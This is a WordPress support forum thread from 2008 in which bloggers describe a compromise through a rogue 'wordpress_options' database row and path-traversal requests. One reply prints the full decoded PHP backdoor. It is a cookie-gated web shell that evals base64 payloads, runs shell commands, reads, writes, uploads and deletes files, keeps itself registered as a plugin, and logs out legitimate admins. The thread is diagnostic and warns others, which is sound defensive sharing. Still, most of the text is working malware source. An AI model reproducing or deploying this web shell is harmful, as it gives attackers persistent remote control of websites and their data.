• wpseek

    (@alphawolf)


    Hey folks,

    lately I’ve encountered several weird behaviour in my blog. It’s happening to just one static page (as far as my tracker tells). Let’s say I have a page domain.com/wordpress/a-plugin-name/. At some point (somewhen at nights) it starts to redirect unregistered users to domain.com/wordpress/wp-login.php which causes an 404 error since my wp-login is located at domain.com/wp-login.php. I am not redirected as long as I am logged in. I do not have any page/content restriction installed.

    Plus, and thats the weird thing: When I delete the value of the DB row ‘wordpress_options’ from table ‘wp_options’ it just works fine again for (un)registered users. Thats why I think there’s some hacking going on..?

    I’ve had that some days ago already. Thats what I found in my access logs back then:

    83.156.63.220 – – [xx/Apr/2008:xx:xx:xx +0200] “GET /wordpress/a-plugin-name/../wp-login.php HTTP/1.0” 302 0 “-” “-“
    83.156.63.220 – – [xx/Apr/2008:xx:xx:xx +0200] “GET /wordpress/a-plugin-name/../../wp-login.php HTTP/1.0” 302 0 “-” “-“
    83.156.63.220 – – [xx/Apr/2008:xx:xx:xx +0200] “GET /wordpress/a-plugin-name/../../../wp-login.php HTTP/1.0” 302 0 “-” “-“
    83.156.63.220 – – [xx/Apr/2008:xx:xx:xx +0200] “GET /wordpress/a-plugin-name/../../../../wp-login.php HTTP/1.0” 302 0 “-” “-“

    .. and so on. I have no idea if that caused the trouble, though.

    I havee no idea who or what filled the ‘wordpress_options’ row with content again after I deleted it some days ago.

    Anyone an idea?

    Thanks, Oli

Viewing 8 replies - 1 through 8 (of 8 total)
  • Thread Starter wpseek

    (@alphawolf)

    It happended again tonight. This is bugging me. Is this a known security issue?

    whooami

    (@whooami)

    Logging:

    http://www.village-idiot.org/archives/2008/04/03/wordpress-capturing-_post-requests/

    if changes are being made to your db why dont you try and figure out how theyre doing it. What you have provided thusly is nothing short of obtuse.

    Thread Starter wpseek

    (@alphawolf)

    Wow, whooami, thanks for that script. Information is power – I’m sure I can use those information on that issue. Thank you.

    Well, and I’m not even sure if the changes in the DB are made by that ‘hacker’ or if WP itself updated the ‘wordpress_options’… it’s just a wild guess cos when I delelte the value, it just works fine again.

    Honestly, I have no idea how they do it on only one single post. I’ve re-uploaded the WP core several times but it doesnt seem to help..

    Let’s see hat happens tonight.

    whooami

    (@whooami)

    Ive simplified doing this. Its pluginized now.

    http://wordpress.org/support/topic/169715?replies=1

    guillep2k

    (@guillep2k)

    Hi. I too got the same hack attempt as you. The behavior was different: it kept changing my WordPress reported version back to 2.5!! (I am using 2.5.1). I mean, through the scripts $wp_version started with 2.5.1 but when plugins were loaded, one plugin changed it back to 2.5. Checking the active_plugins options value, I got my usual plugins plus these two babys:

    ../../wp-content/uploads/js_cache/tinymce_589c3254d6fb8aa458cf713762760f1d_old_old.jpeg
    ../../../../../../../../../../../../../../../../../../../../../../tmp/tmp4Z0MYa/sess_56b48e283b26c4dd342c25be2e4d22e7

    The .jpeg file was no longer existant, but the sess_ file did exist and, among a lot of garbled data between comment tags (/* */), it said:

    $f=create_function(“”,strrev(get_option(“wordpress_options”)));

    The content at wordpress_options was:

    ;))”=szJ14iMnASPg4 ….snip…. JgsjIw1Gdi0DdjFGJ”(edoced_46esab(lave

    Which after strrev() is:

    eval(base64_decode(“JGFjdD0idG1wIjsgJF ….snip…. 4gPSAnMi41Jzs=”));

    The base64 decodes to a HUGE script I transcribe at the end of this message. Unfortunately, I was not archiving my server access logs, so I don’t know where did this come from. My site is quite new (less than a month), and I remember doing the following sequence:

    1) Install WordPress 2.5
    2) Add plugins: Akismet, google-sitemap-generator, wp-chunk plus a couple of plugins of my own
    3) Added my site to Technorati: DID THIS USING **Quick Claim**, which means I gave Technoratti the password of an admin user to my blog (I deleted this user right afterwards).
    4) Upgrade to 2.5.1 (upgrade successful, although it kept saying it still was 2.5)

    Now I’m thinking I was a HUGE fool trusting Technorati, but perhaps it’s not their fault.

    I advise everyone to check for a bogus “wordpress_options” row in their wp_options table.

    Guille

    PS: Here’s the script:

    /***************************************************************/

    $act="tmp"; $tmp_shell="../../../../../../../../../../../../../../../../../../../../../../tmp/tmp4Z0MYa/sess_56b48e283b26c4dd342c25be2e4d22e7";
    @chmod(substr($tmp_shell,0,strrpos($tmp_shell,"/")),0777);
    @chmod($tmp_shell,0777); @touch($tmp_shell); @chmod($tmp_shell,0555);
    if($act=="tmp") @chmod(substr($tmp_shell,0,strrpos($tmp_shell,"/")),0555);
    $lc="7c05c37921d74f503337ed3e365b86f2";
    if(isset($_COOKIE[$lc])){
    	$lin=$_COOKIE[$lc];
    	echo("<!-- ex -->");
    	$lin=preg_replace("/_/", "+", $lin);
    	eval(base64_decode($lin));
    	echo("<!-- /ex -->");
    	exit;
    }
    $ffunctxt='$p="'.$tmp_shell.'";
    $a=get_option("active_plugins");
    $b=false; if(is_array($a)) foreach($a as $k) if(strpos($k,$p)!==false) $b=true;
    if(!$b){ $a[]=$p; update_option("active_plugins",$a); }';
    $ffunc=create_function('',$ffunctxt);
    add_action("update_option_active_plugins",$ffunc);
    if(md5($_COOKIE['_wp_debugger'])=="d0ea8a2b881c9372b304644f52116d81"){ eval(base64_decode($_POST['file'])); exit; }
    if(md5($_COOKIE['qwerty'])=="835059459e00d33d592321953532f2ea") {
    clearstatcache();
    set_magic_quotes_runtime(0);
    if(!function_exists('ini_set')){
    function ini_set(){
    return FALSE;
    }
    }
    ini_set('output_buffering',0);
    if(@set_time_limit(0) || ini_set('max_execution_time', 0)) $limit = 'not limited';
    else $limit = get_cfg_var('max_execution_time');
    
    if(isset($HTTP_SERVER_VARS) && !isset($_SERVER)){
    $_POST = &$HTTP_POST_VARS;
    $_GET = &$HTTP_GET_VARS;
    $_SERVER = &$HTTP_SERVER_VARS;
    }
    
    if(@get_magic_quotes_gpc()){
    foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
    foreach($_SERVER as $k=>$v) $_SERVER[$k] = stripslashes($v);
    }
    
    function execute($c){
    if(function_exists('exec')){
    @exec($c, $out);
    return @implode("\n", $out);
    }elseif(function_exists('shell_exec')){
    $out = @shell_exec($c);
    return $out;
    }elseif(function_exists('system')){
    @ob_start();
    @system($c, $ret);
    $out = @ob_get_contents();
    @ob_end_clean();
    return $out;
    }elseif(function_exists('passthru')){
    @ob_start();
    @passthru($c, $ret);
    $out = @ob_get_contents();
    @ob_end_clean();
    return $out;
    }else{
    return FALSE;
    }
    }
    
    function read($f){
    $str = @file($f);
    if($str){
    $out = implode('', $str);
    }elseif(function_exists('curl_version')){
    @ob_start();
    $h = @curl_init('file:/'.'/'.$f);
    @curl_exec($h);
    $out = @ob_get_contents();
    @ob_end_clean();
    }else{
    $out = 'Could not read file!';
    }
    return htmlspecialchars($out);
    }
    
    function write($f, $c){
    $t = filemtime($f);
    $fp = @fopen($f, 'w');
    if($fp){
    fwrite($fp, $c);
    fclose($fp);
    $out = 'File saved.'."\n";
    if($t && touch($f, $t)){
    $out .= 'Last modification time changed.';
    }else{
    $out .= 'Could not change last modification time!';
    }
    }else{
    $out = 'Saving failed!';
    }
    return $out;
    }
    
    function file_size($f){
    $size = filesize($f);
    if($size < 1024) $size = $size.'&nbsp;b';
    elseif($size < 1048576) $size = round($size/1024*100)/100 . '&nbsp;Kb';
    elseif($size < 1073741824) $size=round($size/1048576*100)/100 . '&nbsp;Mb';
    return $size;
    }
    
    if(!function_exists('natcasesort')){
    function natcasesort($arr){
    return sort($arr);
    }
    }
    
    if(!empty($_POST['dir'])){
    $dir = $_POST['dir'];
    if(!@chdir($dir)) $out = 'chdir() failled!';
    }
    $dir = getcwd();
    
    (strlen($dir) > 1 && $dir[1] == ':') ? $os_type = 'win' : $os_type = 'nix';
    
    if(!$os_name = @php_uname()){
    if(function_exists('posix_uname')){
    $os_name = posix_uname();
    }elseif($os_name != getenv('OS')){
    $os_name = '';
    }
    }
    
    if(function_exists('posix_getpwuid')){
    $data = posix_getpwuid(posix_getuid());
    $user = $data['name'].' uid('.$data['uid'].') gid('.$data['gid'].')';
    }else{
    $user = '';
    }
    
    $safe_mode = get_cfg_var('safe_mode');
    $safe_mode ? $safe = 'on' : $safe = 'off';
    
    execute('echo ssps') ? $execute = 'on' : $execute = 'off';
    
    $server = getenv('SERVER_SOFTWARE');
    if(!$server) $server = '---';
    
    $out = '';
    $tail = '';
    $aliases = '';
    if(!$safe_mode){
    if($os_type == 'nix'){
    $os .= execute('sysctl -n kern.ostype');
    $os .= execute('sysctl -n kern.osrelease');
    $os .= execute('sysctl -n kernel.ostype');
    $os .= execute('sysctl -n kernel.osrelease');
    if(empty($user)) $user = execute('id');
    $aliases = array(
    '' => '',
    'find suid files'=>'find / -type f -perm -04000 -ls',
    'find sgid files'=>'find / -type f -perm -02000 -ls',
    'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
    'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
    'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
    'show opened ports'=>'netstat -an | grep -i listen',
    );
    }else{
    $os_name .= execute('ver');
    $user .= execute('echo %username%');
    $aliases = array(
    '' => '',
    'show runing services' => 'net start',
    'show process list' => 'tasklist'
    );
    }
    }
    
    if(!empty($_POST['cmd'])){
    $out = execute($_POST['cmd']);
    }
    
    elseif(!empty($_POST['php'])){
    ob_start();
    eval($_POST['php']);
    $out = ob_get_contents();
    ob_end_clean();
    }
    
    elseif(!empty($_POST['edit'])){
    $file = $_POST['edit'];
    $out = read($file);
    $tail = '<input type=hidden name=dir value="'.$dir.'"><input type=hidden name=efile value="'.$file.'"><br /><input type=submit>';
    }
    
    elseif(!empty($_POST['save'])){
    $out = write($_POST['efile'], $_POST['save']);
    }
    
    elseif(!empty($_POST['remove'])){
    $obj = $_POST['remove'];
    @is_dir($obj) ? $res = @rmdir($obj) : $res = @unlink($obj);
    $res ? $out = 'Removed successfully' : $out = 'Removing failed!';
    }
    
    elseif(!empty($_POST['newdir'])){
    @mkdir($_POST['newdir']) ? $out = 'Directory created.' : $out = 'Could not create directory!';
    }
    
    elseif(!empty($_POST['newfile'])){
    @touch($_POST['newfile']) ? $out = 'File created.' : $out = 'Could not create file!';
    }
    
    elseif(!empty($_POST['alias'])){
    $out = execute($_POST['alias']);
    }
    
    elseif(!empty($_FILES['ufile']['tmp_name'])){
    if(!is_uploaded_file($_FILES['ufile']['tmp_name']) || @!copy($_FILES['ufile']['tmp_name'],$dir.chr(47).$_FILES['ufile']['name'])) $out = 'Could not upload file';
    else $out = 'Uploaded successfully.';
    }
    
    print<<<here
    <style>
    table {font:9pt Tahoma;border-color:white}
    input,select,file {background-color:#eeeeee}
    textarea {background-color:#f2f2f2}
    </style>
    <br />
    <center>
    <table cellpadding=1 cellspacing=0 border=1 width=650 bgcolor=silver>
    <tr>
    <td>
    <form method=post>
    <table cellpadding=1 cellspacing=0 border=1 width=650>
    here;
    if(!$safe_mode) print<<<here
    <tr>
    <td>
    cmd
    </td>
    <td colspan=8>
    <input type=text name=cmd size=97>
    </td>
    </tr>
    here;
    print<<<here
    <tr>
    <td>
    php
    </td>
    <td colspan=8>
    <input type=text name=php size=97>
    </td>
    </tr>
    <tr>
    <td>
    actions
    </td>
    <td>
    edit
    </td>
    <td>
    <input type=text name=edit size=14>
    </td>
    <td>
    remove
    </td>
    <td>
    <input type=text name=remove size=14>
    </td>
    <td>
    new_dir
    </td>
    <td>
    <input type=text name=newdir size=14>
    </td>
    <td>
    new_file
    </td>
    <td>
    <input type=text name=newfile size=15>
    </td>
    </tr>
    here;
    if($aliases){
    print<<<here
    <tr>
    <td>
    aliases
    </td>
    <td colspan=8>
    <select name=alias>
    here;
    foreach($aliases as $k => $v){
    print '<option value="'.$v.'">'.$k.'</option>';
    }
    print<<<here
    
    </select>
    <input type=submit>
    </td>
    </tr>
    here;
    }
    print<<<here
    <tr>
    <td>
    dir
    </td>
    <td colspan=8>
    <input type=text value="{$dir}" name=dir size=97>
    </td>
    </tr>
    </form>
    <form method=post enctype=multipart/form-data>
    <tr>
    <td>
    upload
    </td>
    <td colspan=8>
    <input type=file name=ufile size=76>
    <input type=hidden name=dir value="{$dir}">
    <input type=submit>
    </td>
    </tr>
    </form>
    </table>
    
    <table cellpadding=0 cellspacing=0 border=1 width=650>
    <form method=post>
    <tr valign=top>
    <td width=70% bgcolor=#dddddd>
    <b>OS:</b> {$os_name}<br />
    <b>User:</b> {$user}<br />
    <b>Server:</b> {$server}<br />
    <b>safe_mode:</b> {$safe} <b>execute:</b> {$execute} <b>max_execution_time:</b> {$limit}
    </td>
    <td rowspan=2 bgcolor=#dddddd>
    <center>~:(expl0rer):~</center>
    here;
    
    if($dp = @openDir($dir)){
    $cObj = readDir($dp);
    while($cObj){
    if(@is_dir($cObj)) $theDirs[] = $cObj;
    elseif(@is_file($cObj)) $theFiles[] = $cObj;
    $cObj = readDir($dp);
    }
    closedir($dp);
    }
    
    if(!empty($theDirs)){
    natcasesort($theDirs);
    if($os_type == 'nix'){
    foreach($theDirs as $cDir){
    $color='black';
    if(is_writeable($cDir)){
    $color='red';
    }elseif(is_readable($cDir)){
    $color='blue';
    }
    print "<font color=".$color."><".$cDir."></font><br />";
    }
    }else{
    foreach($theDirs as $cDir){
    $tmp = $cDir.'/.ssps_tmp';
    if(@touch($tmp)){
    $color='red';
    unlink($tmp);
    }elseif(opendir($cDir)){
    closedir();
    $color='blue';
    }else{
    $color='black';
    }
    print "<font color=".$color."><".$cDir."></font><br />";
    }
    }
    } else print '<br />open_basedir restriction in effect. Allowed path is '.get_cfg_var('open_basedir');
    
    print '<br />';
    
    if(!empty($theFiles)){
    natcasesort($theFiles);
    print '<table width=100% border=0 cellpadding=0 cellspacing=2 style="font:8pt Tahoma;">';
    foreach($theFiles as $cFile){
    $size = file_size($cFile);
    if($fp = @fopen($cFile, 'a')) $color = 'red';
    elseif($fp = @fopen($cFile, 'r')) $color='blue';
    else $color = 'black';
    @fclose($fp);
    print '<tr><td width=100%><font color='.$color.'>'.$cFile.'</font></td><td align=left>'.$size.'</tr>';
    }
    print '</table>';
    }
    
    print<<<here
    </td>
    </tr>
    <tr valign=top>
    <td align=center>
    <form method=post>
    ~:(results):~
    <textarea name=save cols=55 rows=15>{$out}</textarea>
    {$tail}
    </form>
    </td>
    </tr>
    
    </table>
    </form>
    </td>
    </tr>
    </table>
    here;
    die;
    }
    if ( strpos($_SERVER['REQUEST_URI'], 'wp-trackback.php') !== false ) {
    	echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
    	echo "<response>\n";
    	echo "<error>1</error>\n";
    	echo "<message>$error_message</message>\n";
    	echo "</response>";
    	die();
    }
    if ( (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false) && isset($_POST['log']) ) {
         setcookie('admin_cookie', '5d5d9dc61f9c78175addf2c0c6b1c878', time() + 31536000, '/', '');
    }
    if ( (strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== false) && ($_COOKIE['admin_cookie'] != '5d5d9dc61f9c78175addf2c0c6b1c878') ) {
    	if ( file_exists(ABSPATH . WPINC . '/pluggable-functions.php') ) @include_once (ABSPATH . WPINC . '/pluggable-functions.php');
    	else @include_once (ABSPATH . WPINC . '/pluggable.php');
    	wp_clearcookie();
    	do_action('wp_logout');
    
    	@ header('Expires: Wed, 11 Jan 1984 05:00:00 GMT');
    	@ header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
    	@ header('Cache-Control: no-cache, must-revalidate, max-age=0');
    	@ header('Pragma: no-cache');
    
    	$redirect_to = '../wp-login.php';
    	if ( isset($_REQUEST['redirect_to']) ) $redirect_to = $_REQUEST['redirect_to'];
    
    	wp_redirect($redirect_to);
    	exit();
    }
    global $wp_version;
    $wp_version = '2.5';

    /***************************************************************/

    global $wp_version;
    $wp_version = ‘2.5’;

    nice catch, seriously.

    someone put a lot of time into that, I am surprised its not in the wild.

    FYI, we have identified a similar variant of this exploit.

    In our case, to remove the exploit, we need to clean up the ‘wp_options’ table in the WordPress database. We have documented the details at:
    http://linux.byexamples.com/archives/397/wordpress-exploit-we-been-hit-by-hidden-spam-link-injection

Viewing 8 replies - 1 through 8 (of 8 total)
  • The topic ‘Hack attempts on wordpress_options DB table?’ is closed to new replies.